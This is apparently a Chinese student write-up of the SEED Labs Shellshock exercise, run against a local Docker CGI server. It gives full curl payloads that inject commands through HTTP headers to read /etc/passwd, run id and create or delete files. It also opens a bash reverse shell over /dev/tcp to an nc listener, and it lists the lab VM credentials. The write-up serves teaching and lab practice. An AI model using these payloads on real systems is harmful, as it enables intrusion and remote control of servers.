Shellshock

准备

安装VisualBox
用提供的vdi文件点击下载,在VisualBox中创建虚拟机
实验要求PDF
下载实验文件
User ID: seed, Password: dees
User ID: root, Password: seedubuntu

在实验文件夹路径下执行下面命令,耐心等待,启动被攻击的网页程序
执行失败,需要重复执行尝试

docker-compose build # Build the container image
docker-compose up # Start the container

如果想关闭程序,在实验文件夹路径下执行下面命令

docker-compose down # Shut down the container

实验任务

任务1

攻击有漏洞的bash_shellshock,用同样的方法测试正常bash

任务2

修改环境变量

Task2.A:使用brower
打开插件 HTTP Header Live

访问http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
点击这个HTTP包
修改如下

点击Send,观察浏览器页面

出现大量A的环境变量是可攻击的

Task2.B:使用curl
-A:修改User-Agent
-e:修改referer
-H:自定义
-A和-e可以进行数据注入

任务3

进行Shellshock攻击
Task3.A:

curl -A "() { echo hello;}; echo Content_type: text/plain;echo; /bin/cat /etc/passwd" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi

Task3.B:

curl -H "aaa: () { echo hello;}; echo Content_type: text/plain;echo;/bin/id" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi


Task3.C:

curl -e "() { echo hello;}; echo Content_type: text/plain;echo; echo 11>/tmp/e.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi

Task3.D:

curl -A "() { echo hello;}; echo Content_type: text/plain;echo;rm${IFS}/tmp/e.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi


Question 1
不能,没root权限
Question 2
不能,payload经过url编码也不行

任务4

执行下面命令找自己的ip

ip addr


执行下面命令找服务器ip

dockps


攻击者用nc监听9090端口

nc -lvp 9090

开始攻击

curl -A "() { echo hello;}; echo Content_type: text/plain; echo;/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi


攻击成功

任务5

让CGI使用有补丁的shell
在服务器里面下载vim
然后修改成下面这个样子

vim /usr/lib/cgi-bin/vul.cgi


攻击失败

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值